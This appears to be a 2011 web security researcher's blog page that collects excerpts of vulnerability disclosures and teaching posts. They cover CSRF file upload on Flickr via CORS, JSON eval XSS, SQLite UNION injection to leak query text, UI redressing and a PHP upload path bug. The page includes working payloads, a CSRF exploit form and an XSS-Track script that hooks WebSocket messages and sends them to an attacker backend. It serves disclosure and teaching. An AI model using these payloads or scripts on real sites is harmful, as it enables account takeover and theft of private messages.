Saturday, December 17, 2011

Beatthis! oracle crypto xmas challenge

It's this time of the year, and I'm sitting here and launching Beathis oracle! crypto xmas challenge for you guys. Enjoy! It's a bit different than the last but I like it more. There's only one level, but it should be challenging.

Tuesday, November 22, 2011 admin account hijack

Potato chips, post-it notes, LSD and Viagra - all these things were discovered by accident. As it seems, sometimes great discoveries come by a surprise. I've had my moment of surprise lately. It all started during my research on sites using Cross Origin Resource Sharing. You know me, I just have to check the real-world HTML5 implementations. So there I am, checking sites implementing CORS headers. is one of them - and this is the story of how geocommons got really common.

GeoCommons is the public community of GeoIQ users who are building an open repository of data and maps for the world. The GeoIQ platform includes a large number of features that empower you to easily access, visualize and analyze your data.

There was a critical vulnerability in website allowing any user to change e-mail address of administrative user and hijack the admin account. According to vendor, vulnerability is now fixed.

HTML5: Something wicked this way comes - HackPra materials

Last week I had a pleasure of giving a lecture talk for HackerPraktikum (HackPra) course at Ruhr-Universität Bochum. The talk entitled HTML5: Something wicked this way comes described various HTML5 / UI redressing techniques for attacking websites & Chrome extensions. There is also some unpleasant surprise for Google Chrome to Phone users.

I've just published the slides from the talk:
Courtesy of RUB, there is also a video recording of the talk. 

Wednesday, November 9, 2011

Google eBookstore content extraction

Two months ago I discovered UI redressing vulnerability in Google eBookstore. This has been reported to Google and has been quickly fixed. Following is a description of the vulnerability:

tl;drfake captcha on Google eBookstore + how to deal with dynamic line numbers.

Monday, October 31, 2011

Piwik ≤ 1.5.1 multiple XSS vulnerabilities

Some time ago I discovered a few interesting XSS vulnerabilities in Piwik Open Source Web Analytics software. Thanks to developers, all of those are now fixed in Piwik 1.6. But nonetheless, these are not the usual XSS cases, so I found them interesting enough to publish this.

Piwik is a downloadable, open source (GPL licensed) real time web analytics software program. It provides you with detailed reports on your website visitors: the search engines and keywords they used, the language they speak, your popular pages… and so much more.

Piwik aims to be an open source alternative to Google Analytics, and is already used on more than 150,000 websites.

Friday, October 28, 2011

Poor Princess Leia! CSRF domain hijack is a microblogging platform with over 32 millions of users, with Alexa global rank of 45. had a CSRF vulnerability on blog settings page[blog-name]/settings that allowed for launching targeted attacks against a specified blog to hijack its domain and perform other potentially severe actions on behalf of a victim user.

Monday, October 24, 2011

Stripping Referrer for fun and profit

tldr: New methods for client side only (no server side script) referrer stripping in POST & GET requests. Code at the end.

Referer is that tiny bit of information that browser sends to servers while you click your way through interwebs, always carrying the URL of the webpage you've clicked the link at (more or less). It's useful for webdevelopers. For example, if they know you've reached their page from Google search results they can tailor the webpage especially for you. Of course, it's a privacy leak, so users can turn off referrer sending in current browsers. All in all, Referer is usually spoken in SEO circles, which is not my pair of shoes. However, at least one thing makes Referer very interesting from security point of view.

Tuesday, October 11, 2011

The sad state of DOM security (or how we all ruled Mario's challenge)

A few days ago Mario Heiderich posted second installment of his xssme challenges (viewable in Firefox only for now). But it wasn't a usual challenge. The goal was not to execute your Javascript - it was to get access to the DOM object property (document.cookie) without user interaction. In fact, the payload wasn't filtered at all.

My precious!

This goes along Mario's work on locking DOM and XSS eradication attempt. The concept is that server side filtering for XSS will eventually fail if you need to accept HTML. Further on - sometimes Javascript code should be accepted from the client (mashups are everywhere!), instead we want it to run inside a sandbox, limiting access to some crucial properties (location, cookie, window, some tokens, our internal application object etc.). That's basically what Google Caja tries to achieve server-side. But server does not know about all those browser quirks, parsing issues - it's a different environment after all.

So if a total XSS eradication is possible - it has to be client-side, in the browser.
Of course, this requires some support from the browser and the most common weapon is ECMAScript 5 Object.defineProperty() and friends. Basically, it allows you to redefine a property of an object (say, document.cookie) with your own implementation and lock it down so further redefines are not possible.

In theory, it's great. You insert some Javascript code, locking down your precious DOM assets, then you can output unmodified client's code which is already operating in a controlled, sandboxed environment - and you're done. In theory. Read on!

Friday, September 9, 2011 silent arbitrary file upload


Minus ( - now moved to ) is a simple sharing platform that allows users to share, publish and discover photos, docs, music, videos and more. This relatively new site has gained media attention and was recently featured in, Sitepoint, Lifehacker, Wall Street Journal etc. Minus recently raised $1M from IDG Capital Partners.
A few months ago I've found a way to silently upload and publish a file of attacker's choosing on behalf of a logged in Minus user, similar to what I found on Flickr. Today I present the vulnerability details with demonstration of an attack. The demo was first publicly disclosed at SecurityByte 2011.

The exploit is another example of HTML5 arbitrary file upload vulnerability, this time though it requires user interaction as the exploit uses UI redressing content extraction. The exploit is Firefox only.

Wednesday, August 24, 2011

Death to the filters - how to validate JSON correctly

JSON is a pretty popular data-interchange format. It's supported across programming languages, fits naturally into Javascript environment, it's human-readable and it's much lighter than XML. No wonder the format is widely adopted in many web applications.
Disclaimer: This post will probably be nothing new to security experts. It's meant for developers, as I've seen vulnerable applications using the bad practices described here. 

Is JSON secure?

Well, it has some quirks (it had even more of them in the past) but mostly it's good enough. Provided two things:
  • you don't use eval!
  • you are sure that's JSON (not everything that's a valid Javascript is JSON, it's only a subset)
Eval() is, as usual, asking yourself for trouble. Unfortunately, it's common - it's even mentioned in JSON's own documentation as a recommended practice:
To convert a JSON text into an object, you can use the eval() function. eval() invokes the JavaScript compiler. Since JSON is a proper subset of JavaScript, the compiler will correctly parse the text and produce an object structure. The text must be wrapped in parens to avoid tripping on an ambiguity in JavaScript's syntax.

var myObject = eval('(' + myJSONtext + ')');
The eval function is very fast. However, it can compile and execute any JavaScript program, so there can be security issues. The use of eval is indicated when the source is trusted and competent. It is much safer to use a JSON parser. In web applications over XMLHttpRequest, communication is permitted only to the same origin* that provide that page, so it is trusted. But it might not be competent. If the server is not rigorous in its JSON encoding, or if it does not scrupulously validate all of its inputs, then it could deliver invalid JSON text that could be carrying dangerous script. The eval function would execute the script, unleashing its malice.
* docs are outdated, you can do cross-origin request now (CORS)

Example - no filters

So, when using eval() it's crucial that the input is in fact valid JSON that has not been tampered with. Consider the following situation:

Our application uses JSON to store various user preferences (e.g. background color settings). Server does not care about the JSON, it's only relevant to client-side scripts. The data flow looks like this:
  1. User fills out the 'change preferences' form
  2. Javascript code creates JSON out of this and POSTs it to the server
  3. Server stores JSON in the database and retrieves it in future requests. The resulting code looks like this:  preferences_json = '{"background":"red"}';
  4. Javascript needs to get preferences, so it uses:
var prefs = eval("(" + preferences_json + ")"); = prefs.background;
XSSing this is simple - escape from single quotes:
//  payload:    '; alert(1); //
// this will execute in the preferences_json line like this:
preferences_json = ''; alert(1); //';
So the server needs to either deny ' in input or escape the output (' becomes \'). Are we secure now? No!


Even with proper escaping, we do not have to escape the string at all for XSS. We can do the code execution in eval() call:
// payload:   alert(1),{"background":"red"}
// This will become:
// and alert will execute. 
One very bad practice I saw is disallowing certain characters in JSON input when storing it. For example, you could disallow "(" and ")" so that function can't be executed. But there are ways to execute functions without "()" - see for example this wonderful vector for IE. In fact, it's even possible to execute JS in this context if you're only allowing a-z A-Z 0-9 { } - : , . " (most of these characters are required for JSON to work anyway). Another example - allow \ and attacker can use obfuscation (e.g. \u0020 ) and embed pretty much any character.

If you validate JSON by looking at characters only and disallowing / allowing them - you're toasted. You've just opened a bag of tricks for attackers to use (and new techniques requiring fewer characters are still in development). Don't!

Try for yourself!

Think you can execute arbitrary code in this victim page? Yes, you can!

Source code for examples is, as always, on GitHub. And remember:
  • If you accept JSON input, make sure it's a legit JSON input (JSON is a subset of Javascript!). In PHP you can use json_decode()to validate server-side.
  • Validating JSON using character whitelist is a dead end. Don't do it. There are really tricky vectors around.
  • Don't use eval! There's JSON.parse() built into newer browsers, for older - use this.

Monday, August 8, 2011

How not to implement CAPTCHAs (MotionCAPTCHA rant)

CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart") are security controls used to prevent automated attacks against a website. You can see them in Gmail account register pages, blog comment forms etc. Sometimes they are used as a CSRF attack countermeasure.

How to do it?

Designing CAPTCHA challenge is hard - you need to fight OCRs (if the CAPTCHA is based on image recognition) and cheap labour (attackers pay $12 for solving 500 CAPTCHA, according to OWASP). On the other hand, it needs to be solvable by your users - so this one, while certainly being a strong challenge, is probably not a good idea ;)

But no matter what the challenge, the whole CAPTCHA architecture must be secure. For example:

  • it must be protected against replay attacks (CAPTCHA ID generated once cannot be reused)
  • CAPTCHA given for one session should not be valid in other session. There must be a relation between CAPTCHA and a session, so that the attacker won't solve the CAPTCHA (e.g. manually) in his own session and submit the solved value in the other session.
  • CAPTCHA solution must not be stored on the client
  • it must be protected against brute-force attack (e.g.require another CAPTCHA after a few invalid responses)
  • The amount of possible CAPTCHAs must be A Big Number (bruteforce protection).
I really recommend all the developers to read Strong CAPTCHA guidelines as many design issues are tricky. 

MotionCAPTCHA - The fail of the day

What pushed me into writing this blog post is the MotionCAPTCHA project I encountered. It's a HTML5 (yay!) canvas based project where the challenge is to repeat drawing a given shape to prove being a human. I've seen a few broken CAPTCHAs in my life, but this one is just over the top. Just two examples:

These are the available shapes (all 16 of them):

And this is how you implement it (cited from the readme):
  • You manually disable your form, by emptying the form's action attribute, and placing its value in a hidden <input> with a specific ID. You should also put disabled="disabled" on the submit button, for added points.
  • You add a few HTML lines to your form to initialise the MotionCAPTCHA canvas, and add the plugin's scripts to your page.
  • The user draws the shape and, if it checks out, the plugin inserts the form's action into the <form> tag. The user can submit the form, happy days.
I mean, WTF? So the form looks like this:
<form action="#" method="post" id="mc-form"> 
				<p><input class="placeholder" type="text" placeholder="your name &hellip;"></p> 
				<p><input class="placeholder" type="email" placeholder="your email address &hellip;"></p> 
				<p><textarea class="placeholder" placeholder="your message &hellip;" cols="" rows="3"></textarea></p> 
				<div id="mc"> 
					<p>Please draw the shape in the box to submit the form: (<a onclick="window.location.reload()" href="#" title="Click for a new shape">new shape</a>)</p> 
					<canvas id="mc-canvas"> 
						Your browser doesn't support the canvas element - please visit in a modern browser.
					<input type="hidden" id="mc-action" value="" /> 
				<p><input disabled="disabled" autocomplete="false" type="submit" value="Submit"></p> 
				<p><a href="" class="twitter-share-button" data-count="horizontal" data-via="josscrowcroft">Tweet</a><script type="text/javascript" src=""></script></p> 
and when I solve the challenge, the 'mc-action' will become the form action and the form submits? And the server does not care about the challenge cause it's client side only? How about bot POSTing the form in its entirety to the mc-action URL and bypassing the CAPTCHA completely? #security #fail! Client side CAPTCHA will never be secure, it just can't!

Wednesday, July 6, 2011 session hijacking

Session hijacking usually requires XSS vulnerability (or MITM attack). But what to do when there is none? Of course, we might trick the user with UI Redressing!

Yesterday I presented a new way to trigger content extraction. Being UI redressing vector, it requires user intervention, this time tricking user to copy & paste some text through his clipboard to solve a kind of CAPTCHA challenge. Today we'll make a real life example of using this method.

Tuesday, July 5, 2011

Cross domain content extraction with fake captcha

Content extraction is one of the recently documented UI redressing vectors. It exploits Firefox vulnerability that allows to display any URL HTML source in an iframe like this:
<iframe src="view-source:">
With social engineering attacker tricks user into selecting (usually invisible) page source and dragging it to attackers' controlled textarea. A simple demo is here:

Drag & drop other page source (cross-domain)
Once attacker gets the page source dropped into his textarea, he may begin to extract contents (like session IDs, user names, anti csrf tokens etc.) and launch further attacks.

However, this way of using the vector requires significant effort from a user and is pretty difficult to exploit in real world situation (there's some clicking and dragging involved). Also, it will stop working once Mozilla disallows cross origin drag & dropping.

I've found a neat way to do cross-origin content extraction that might be more suitable for some classes of websites. Ladies and gentleman, let me present Fake Captcha:

Saturday, June 18, 2011

File path injection in PHP ≤ 5.3.6 file upload (CVE 2011-2202)

Since the thing went public before new PHP version has been released, I present full details of the latest PHP vulnerability I reported - together with some sweet demo exploit. The issue was found with fuzzing being part of my recent file upload research. And I still have some more to show in the future :)

My thanks go to Paweł Goleń who helped analyze the vulnerability.

The PHP Part

The whole issue is tracked as PHP bug #54939, but the website is now down. The exemplary exploit is at pastebin. The nature of the bug is simple. PHP claims to remove the path component from HTTP file upload forms (transferred as MIME multipart/form-data requests), leaving only the file name given by the user agent. This is both for security, and to fix MSIE incompatibility (IE used to send full path like this: c:\WINDOWS\WHATEVER\My_file.txt).

However, in 2008 PHP developers made a off-by-one error, and, as a result, if a name starts with \ or / and has no other (back)slashes, it's left as-is. So, this allows for:
  • /vmlinuz
  • /autorun.inf (/ will map to C:\ in WINDOWS - the drive where your PHP is run from)
  • /boot.ini
and other interesting file "names" to pass through.

Wednesday, May 18, 2011

Invisible arbitrary CSRF file upload in


Basic upload form in was vulnerable to CSRF. Visiting a malicious page while being logged in to (or using 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.

Described vulnerability has been quickly fixed by team.

The exploit is an example of using my HTML5 arbitrary file upload method.


Vulnerability description basic upload form displayed on submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form).
Basic File Upload Form
This request looks like this:
POST /photos/upload/transfer/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv: Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo;; cookie_session=session-id-here
Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599
Content-Length: 29437

Content-Disposition: form-data; name="done"

Content-Disposition: form-data; name="complex_perms"

Content-Disposition: form-data; name="magic_cookie"

Content-Disposition: form-data; name="file1"; filename="0011.jpg"
Content-Type: image/jpeg

Content-Disposition: form-data; name="tags"

Content-Disposition: form-data; name="is_public_0"

Content-Disposition: form-data; name="safety_level"

Content-Disposition: form-data; name="content_type"

Content-Disposition: form-data; name="Submit"


On line 11 there are some cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload.

To make things worse, uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to not require an active session set up beforehand. If BX cookie is present, will silently sign the user in while processing the request. Therefore all accounts using 'keep me signed in' feature were potential targets of described attack.


Malicious page with this HTML code:
<form enctype=multipart/form-data action="" method="post">
<input type=hidden name=is_public_0 value=1>
<input type=file name=file1>
<input type="submit">
<!-- no magic_cookie here, still works -->
was able to submit a file to on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).

Above technique required user to manually choose the file from his HDD. However, using my HTML5 arbitrary file upload method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.

As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using 'keep me signed in' feature (or having an active session) resulted in uploading images and videos chosen by attacker to photostream (with visibility settings, tags etc. chosen by the attacker).

Exemplary exploit code is here.


As of today, fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request.


17.05.2011 - vulnerability discovered
18.05.2011 - vendor notified
18.05.2011 - vendor responded, fix released

Tuesday, May 10, 2011

Cross domain arbitrary file upload Redux

Remember how it was possible to upload files with arbitrary names & contents cross domain?  The method had one, but crucial limitation - it did not include any credentials. In other words, the POST message would be sent to server without any cookies / HTTP auth, so it would most likely be discarded by the attacked application. You could upload a file (precisely, that's a CSRF File Upload), but, in most cases, the receiving application would drop it. Until now :)

I can haz cookies!

I still don't know how did I miss this, but it's just a one-line change:
xhr.withCredentials = "true"; 
That's it. With this flag set:
  • CORS simple requests will include cookies / HTTP auth
  • CORS preflighted requests will ask for permission to include them
Luckily for attackers (and unfortunately for the Web), POST request with MIME type multipart/form-data and credentials are still in the 'simple' bucket. So the exact CSRF CORS File Upload attack works like this:

"Take those cookies to your grandma", said The Browser
  1. Victim logs in to website
  2. He receives a session cookie for future requests
  3. In the same browser session (e.g. 2nd tab) he visits website
  4. Javascript code in attacker silently prepares CORS file upload request with XMLHttpRequest object to victim domain, and asks to include credentials (xhr.withCredentials)

    "Browser, I really need you to send this tiny little harmless POST to victim"

  5. Browser treats this as a simple CORS request, so it attaches the cookie for victim domain to it and sends it.

    "Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"

  6. victim app receives the POST file upload with the cookie, so it processes the upload and responds.

    "What's this weird Origin header pointing to It must be the new kid in town, but who am I to know?"

  7. Browser looks at the response and, not having appropriate CORS response headers, discards the response.

    "Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"
Yeah, exactly. Good work! Now the CSRF File Upload is super-simple. I've updated the examples with the new code.

Friday, April 29, 2011

How to upload arbitrary file contents cross-domain

Update: Since publishing details of this technique it has been used to exploit CRSFable file upload forms on Facebook , Flickr, Imgur, and others. It seems that many file upload forms lack anti CSRF tokens. 

HTML5, together with its sister specifications (XMLHTTPRequest level 2, File API etc.) has a really interesting property when it comes to security. Websites that are coded securely get new tools allowing them to be even more secure. Yet poorly coded websites might be prone to new flavours of attack. It makes good even better, and bad even worse.

The best example of this would be the Cross Origin Resource Sharing (CORS) specification commonly known as Cross Domain AJAX. Back in the days, AJAX request could not be sent cross domain - now, in all current browsers, they can. Does it affect security? Sure it does - even Facebook got hacked with it. While the specification was designed with security in mind, fully opt-in, introducing new headers and preflight mode, there are sites in the Internet that suddenly got vulnerable once surfers upgraded their browsers.

Continuing the fun with file upload issues in current browers, today I'd like to show you how to upload a file:
  1. from victim's browser
  2. with arbitrary filename
  3. with arbitrary content
  4. without user interaction
  5. .. to another domain.

Thursday, April 14, 2011

Filejacking: How to make a file server from your browser (with HTML5 of course)

Back in the days of browser wars, there was a joke: Internet Explorer is the only web browser that makes Internet browse your computer. Through various security flaws, IE was exploitable and allowed for remote code execution that could e.g. steal your sensitive files.
But now the times are different. It's not that easy to exploit current browsers, they get patched (relatively) quickly. Attackers cannot easily access your files using browsers vulnerabilities, so they turn to the weakest link - users. In this post we'll try to explore what current browsers can do with your files.

Thursday, March 24, 2011

How to Beathis! challenge - the solutions

Beatthis! cryptoanalysis challenge turned out to be pretty popular. Some of you have been asking me for additional tips, some of you shared the happiness of completing the levels, most of you probably cursed a lot ;) I'd like to thank all the participants for their time, I hope you liked this hackme. But of course my congratulations go to all of you who solved all levels:
  1. mrrr (@gynvael)
  2. hellman (@hellman1908)
  3. @internot_
  4. carstein (@m_melewski)
  5. wrrr (Kuba - jakubk at mp dot pl)
  6. dxp (@dxp2532)
You're all my personal heroes! Now it's time to reveal all the secrets - one by one. If you still want to finish the challenge by yourself, don't read up. There are spoilers ahead!

Free gifts for everyone!!111

But before that, let me present a few cryptographic tools created while preparing this challenge, together with cipher/plaintexts for all levels. It's a gift for you for trying the challenge. Download it, test it, do what you want with it. Enjoy! Now, let's begin with...

Sunday, March 20, 2011

A simple cryptoanalysis challenge

If you like solving puzzles, if you're into breaking things and if you at least know how to read this thing aloud:

I think you will appreciate my newest, 6 level challenge - it's simpler than you think, and the levels get increasingly harder, so there's something for everyone.

Without further ado, I present to you:

Please share the link!

Thursday, March 17, 2011

Who's behind Facebook clickjacking scams?

Clickjacking is a pretty advanced technique even for security-minded programmers. I guess most of pentesters would have a hard time quickly preparing a robust demonstration of a clickjacking attack. This requires some advanced CSS/Javascript and HTML knowledge. One needs to know how to hide a content or how to make it follow the mouse and account for all browsers quirks. Clearly the guys behind Facebook clickjacking *.info scams have some exceptional skills. Or do they?

Recently I got an email from one of my readers - he analyzed the actual code used in an attack, did some googling around for snippets of it and he found the person that is (supposedly, we have no proof yet) the code author of recent attacks. Meet bhav - and tremble before his mighty coder skills!

Tuesday, March 15, 2011

Exploiting the unexploitable XSS with clickjacking

The technique is listed as a contestant in Top 10 Web Hacking Techniques of 2011 poll.

Clickjacking needs some loving. Contrary to what is being thought, it's not only used for Facebook viral scams. As shown by last year's Paul Stone's studies, now it's not only just hide-the-button-and-follow-the-mouse trick. It even got the more accurate name of UI Redressing (which is right, as attackers are not after your clicks, they profit from playing with the UI of the victim application). In this post we'll play a game to see how advanced UI-Redressing attacks look like and how an attacker may trigger an unexploitable XSS flaw in an application.

Friday, March 4, 2011

HTML5 WebSockets - security & new tool for attacking

WebSockets is definately one of the brighter features of HTML5. It allows for easy and efficient real-time commucation with the server, and with the introduction of Socket.IO, node.js  and similar libraries, it is sure to gain popularity. It's a must when you're developing an interactive application like chat, game, realtime reporting system etc.

But, from a security standpoint there are many things to consider when implementing WebSockets in your next project. I don't call them vulnerabilities - but they will most likely create a vulnerability when not dealt with correctly. In this post I describe all these aspects and release socket_io_client - tool for testing & exploiting WebSockets servers.

Monday, January 31, 2011

How to get SQL query contents from SQL injection flaw

The technique is listed as a contestant in Top 10 Web Hacking Techniques of 2011 poll.

Yesterday, I got some time to interact with another bootcamp challenge by Paweł Goleń - this time it was an advanced search form and one's task was to find any vulnerabilities. What started as a usual SQL injection / XSS discovery turned out to be a pretty interesting example of what is possible with a SQLi flaw. During the session I was able to (in order):

  1. find a SQLi flaw in a parameter
  2. discover the SQL server/version used
  3. get the database schema not using blind sql injection
  4. retrieve db contents
  5. retrieve important WHERE part of the actual SQL query used by the application
  6. reverse engineer all the rules used by app to construct a query
So, from this:
value[] - vulnerable parameter
I was able to get the actual SQL query:
SELECT * FROM table_name WHERE ((param1 = value2) OR (param2 = value2)) ....
used by application and deduct the script logic producing the query:
$allowed_names = array('id','title','timestamp','public');
foreach ($_GET['names'] as $name) {
  if (!in_array($name, $allowed_names)) {
    $name = 'id';
  switch ($name) {
  // ...
It's a great example of how a single vulnerability was used to gain more and more information, leading to a application logic leakage. All of these tasks did not require any blind sql injection techniques, and no sqlmap-like brute force tools were used. Read on to find out all the details.

Crime scene

This is the form I was attacking:

It's an advanced search form with results being displayed in a table below like this:

Setting up the intercepting proxy (I used OWASP ZAP) will quickly show that these POST parameters are being sent:
action search
name[] id
operator[] =
value[] 1
oper AND
name[] title
operator[] >
value[] 2

What do we know?

So, the actual script uses $name, $operator and $value arrays for every criterium and $oper as an operator joining the criteria.

The SQL query might look like this:
SELECT * FROM table_name WHERE (criterium_1) $oper (criterium_2)

The meat

Skipping all the usual discovery steps, I was able to determine that:
  • the value[] parameter was injectable but only when name[] was 'title'
  • it was probably translated to title LIKE '%{$value}%'
  • though only two are displayed in the form, it is possible to pass additional criteria and they will all be processed
  • the app was using sqlite 3
To be able to capture some of the SQL query in the results I needed the SQL engine to treat the part of it as a string. For that I needed string opening & closing injections. So, I had to use three criteria:
  • first leaving the string open
  • 2nd that would actually get captured in the string
  • 3rd to close the string
SELECT * FROM table_name 
 WHERE (title like '${first}') 
 OR (id = 111) 
 OR (title like '${third}')

-- first: '
-- third: '
-- resulting query: (blue is string)
SELECT * FROM table_name 
 WHERE (title like ''') OR (id = 11111) OR (title like ''')
Exploiting this would be possible, because of the escaping scheme used: ' within a string should be doubled (''), so I was able to neutralize the closing string apostrophe by escaping it with my payloads.

Now I'd make an union query with it like this:
-- first: ') UNION SELECT ''
-- third: ,null,null,null -- 
SELECT * FROM table_name WHERE (title like '') UNION SELECT ''') OR (id = 11111) OR (title like ',null,null,null -- ')
So while using special crafted first and third criteria, I could modify second criterium (as long as it didn't contain any strings) and get its query part in results.

Troubles ahead

Worked great - in theory, because the actual query used was like this:
title like '%{$first}%'
With those percents in place I couldn't escape the closing apostrophe, leaving the rest of the query in 'string mode'. But the SQlite engine has a nice feature: it allows you to use quotes (") to enclose strings! Better yet - in quotes you don't have to escape apostrophes (') :-)


The final solution used:
SELECT * FROM table_name WHERE (title like '%${first}%') OR (id = 111) OR (title like '%${third}%')
-- first: ') UNION SELECT "
-- third: ", null, null, null -- 
SELECT * FROM table_name WHERE (title like '%') UNION SELECT "%') OR (id = 11111) OR (title like '%", null, null, null -- %')
and the resulting row:
<tr><td><a href='javascript:void(%') AND (id = 11111) AND (title LIKE '%);'></a></td><td></td><td></td></tr>

From here it was easy - modify the second criteria and watch the resulting query to deduct app logic. And yes, it did have additional vulnerabilities :)

Monday, January 10, 2011

XSS-Track as a HTML5 WebSockets traffic sniffer

HTML5 WebSockets are really a great feature for current web development. They allow you to set up a bi-directional TCP connection between a browser and a server. Sure, the protocol is being constantly updated, has it's own issues, which will probably mean it won't be ready for Firefox 4. But still, I think it's great way to make the current web applications more responsive.

That being said, developers must know that using WebSockets will always have some security issues. Just to name the few:
  • the client can be spoofed (it doesn't have to be the browser)
  • ws:// server can't be trusted (MiTM attacks)
  • you need to handle the authentication
  • the communication over ws:// protocol is plaintext. 

What could get wrong?

There are many possibilities, but for today let's focus on this:

It's important to know that WebSockets (without any additional precautions) is not a channel to send restricted messages through, because e.g. a single XSS flaw on client side could reveal all those private bits to the attacker.

To demonstrate, XSS-Track now supports stealing WebSockets sent and received messages. All you need to do is inject a script into a vulnerable site and all mesages will be reported to your backend. 

You could also make it so that the messages will be logged to console instead of sent to backend.


To be able to test WebSockets injection, you need to have WebSockets support :) Use Google Chrome as your WebSockets client and navigate to - it's a simple vulnerable chat application using WebSockets with all the instructions. You can also set the server up for yourself.

How was that possible?

No rocket science here, just modifying WebSockets built-in object:
if (captureWebsocket && window.WebSocket) {

  // add logging onmessage listener
  function captureRecv(ws) {
    if (typeof ws.captured == 'undefined') {
      ws.addEventListener('message', function(e) {
        var event = {
            event: 'websocket_recv',
            from: location,
      ws.captured = true;

  // capture sending
  var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
    captureRecv(this); // in case socket contruction was before constructor switching
    var event = {
        event: 'websocket_send',
        from: location,
        data: arguments[0],
        url: this.URL

    return window.WebSocket.prototype.send.apply(this, arguments);

  // capture constructor
  this.contentWindow.WebSocket = function(a,b) {
    var base;
    base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
    base.send = captureSend;
    this.__proto__ = WebSocket.constructor;
    return base;

As always, you can see the source code yourself.

Update: I've just found out this technique of manipulating prototype object to change behavior actually got a name of 'Prototype Hijacking' and was used by Stefano di Paola in 2007 to hijack plain old AJAX communication. Of course, Javascript using it's prototypal inheritance needs to have this kind of 'weakness' and I consider this a brilliant feature of the language itself. Javascript FTW!